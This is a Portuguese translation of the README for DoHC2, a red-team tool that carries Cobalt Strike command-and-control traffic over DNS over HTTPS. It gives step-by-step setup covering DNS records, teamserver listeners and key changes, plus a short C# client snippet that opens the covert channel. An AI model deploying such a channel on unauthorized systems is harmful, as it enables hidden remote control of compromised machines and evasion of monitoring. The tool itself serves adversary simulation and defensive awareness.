⚠️ NOTA: Esta ferramenta não está mais em manutenção ativa.
DoHC2
DoHC2 permite que a biblioteca ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) seja
utilizada para comando e controle (C2) via DNS sobre HTTPS (DoH). Isto foi construído para o popular
software de Simulação de Adversário e Operações de Red Team, Cobalt Strike (https://www.cobaltstrike.com).
Apresentação
Este projeto foi lançado em 23 de outubro de 2018 no Mitre ATT&CKcon.
Slides:
Desempenhando o Papel de Advogado do Diabo para Iniciativas de Segurança com ATT&CK
Artigo do Blog:
DOH! DNS sobre HTTPS Representa Possíveis Riscos para Empresas
Diagrama

Uso
- Instale e inicie o Cobaltstrike teamserver.
- Inicie um listener beacon_http/beacon_https - Atenção Isto pode ser bloqueado por firewall, mas você precisa dele para o External C2 funcionar.
- Carregue o script 'external_c2.cna' para iniciar o ExternalC2 na porta 2222 (Firewall desligado).
- Instale as dependências para o servidor python3.
- Permita a porta 53/udp para a Internet (ou para as faixas de IP do provedor DoH).
- Crie um registro A no seu domínio apontando para o IP do teamserver/servidor DNS, ou seja, [A] entry.example.org -> 000.000.000.000
- Crie um registro NS apontando para o registro A para o canal de envio (INPUTDOMAIN), ou seja, [NS] send.example.org -> entry.example.org.
- Crie um registro NS apontando para o registro A para o canal de recebimento (OUTPUTDOMAIN), ou seja, [NS] receive.example.org -> entry.example.org.
- Altere INPUTDOMAIN e OUTPUTDOMAIN no DoHC2.py. Altere a chave/IV de criptografia - isso é usado para criptografar o caminho do Teamserver para o Cliente Apenas (Criptografa o Stager). Altere max_records de 1 dependendo do provedor DoH, alguns provedores reordenam os registros retornados, o que não é tratado atualmente. Max 5 funciona bem com servidor DNS.
- Inicie o servidor DNS python3.
- Compile a biblioteca ExternalC2. Altere a chave/IV de criptografia no DoHChannel.cs para corresponder ao servidor python3.
- Configure e inicie DoHC2() como abaixo, certificando-se de definir INPUTDOMAIN, OUTPUTDOMAIN e um provedor DoH no formato 'https://resolver.example.org/dns-query'.
Servidor
Servidor DNS Python baseado no ACME DNS Server
- Por padrão, ele faz a interface do DNS bruto com o Cobalt Strike Teamserver em 127.0.0.1:2222.
- Altere INPUTDOMAIN e OUTPUTDOMAIN para serem hosts que são NS do IP externo do servidor:
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
Biblioteca
ExternalC2 de @ryhanson com as seguintes adições:
Exemplo de Cliente
- Assim como o restante do ExternalC2, o DoHC2 é COMVisible para JScript/DotNetToJS, mas este é um exemplo simples para iniciá-lo.
- O cliente de exemplo DoHC2Runner é um programa simples em C# para demonstrar o carregamento da biblioteca e sua configuração da seguinte forma:
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
Autores
Licença
DoHC2
Alguns elementos criados por David Middlehurst, SpiderLabs conforme descrito acima
(Por favor, consulte as respectivas licenças onde outros projetos de código aberto são utilizados).
Copyright (C) 2018 Trustwave Holdings, Inc.
Este programa é software livre: você pode redistribuí-lo e/ou modificá-lo
sob os termos da Licença Pública Geral GNU, conforme publicada pela
Free Software Foundation, seja a versão 3 da Licença, ou
(a seu critério) qualquer versão posterior.
Este programa é distribuído na esperança de que seja útil,
mas SEM NENHUMA GARANTIA; sem mesmo a garantia implícita de
COMERCIALIZAÇÃO ou ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO. Veja a
Licença Pública Geral GNU para mais detalhes.
Agradecimentos
Contribuidores